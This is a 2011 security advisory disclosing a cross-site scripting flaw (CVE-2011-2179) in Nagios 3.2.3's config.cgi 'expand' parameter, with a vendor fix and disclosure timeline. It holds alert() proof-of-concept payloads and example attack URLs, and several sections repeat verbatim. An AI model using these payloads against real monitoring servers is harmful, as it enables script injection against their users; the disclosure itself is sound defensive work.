SSCHADV2011-006 - Cross-Site Scripting vulnerability in Nagios
| Advisory: | Cross-Site Scripting vulnerability in Nagios |
| Advisory ID: | SSCHADV2011-006 |
| Author: |
Stefan Schurtz
|
| Affected Software: | Successfully tested on: nagios 3.2.3 |
| Vendor URL: | http://www.nagios.org |
| Vendor Status: |
fixed
|
| CVE-ID: |
CVE-2011-2179
|
======================
Vulnerability Description:
======================
This is a Cross-Site Scripting vulnerability
==============
Technical Details:
==============
Vulnerability Description:
======================
This is a Cross-Site Scripting vulnerability
==============
Technical Details:
==============
No input validation for "expand" in config.c(gi)
View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>
or
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script>
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)>
=====
Solution:
=====
in config.c
< printf("<TR CLASS=‘dataEven’><TD CLASS=‘dataEven’>To expand:</TD><TD CLASS=‘dataEven’>%s",command_args0);
> printf("<TR CLASS=‘dataEven’><TD CLASS=‘dataEven’>To expand:</TD><TD CLASS=‘dataEven’>%s",escape_string(command_args0));
View Config -> Command Expansion -> To expand -> <script>alert(String.fromCharCode(88,83,83))</script>
View Config -> Command Expansion -> To expand -> <body onload=alert(666)>
or
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<script>alert(String.fromCharCode(88,83,83))</script>
http://www.example.com/nagios/cgi-bin/config.cgi?type=command&expand=<body onload=alert(666)>
=====
Solution:
=====
in config.c
< printf("<TR CLASS=‘dataEven’><TD CLASS=‘dataEven’>To expand:</TD><TD CLASS=‘dataEven’>%s",command_args0);
> printf("<TR CLASS=‘dataEven’><TD CLASS=‘dataEven’>To expand:</TD><TD CLASS=‘dataEven’>%s",escape_string(command_args0));
================
Disclosure Timeline:
================
01-Jun-2011 – informed developers
01-Jun-2011 – Release date of this security advisory
01-Jun-2011 – post on BugTraq and Full-disclosure
25-Jul-2011 – fixed in Nagios 3.3.1
Credits:
====
Vulnerability found and advisory written by Stefan Schurtz.
=======
References:
=======
http://www.nagios.org
http://tracker.nagios.org/view.php?id=224
http://www.rul3z.de/advisories/SSCHADV2011-006.txt
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2011-2179
http://www.tenable.com/plugins/index.php?view=single&id=55163
Trackbacks
No Trackbacks
Comments
Display comments as Linear | Threaded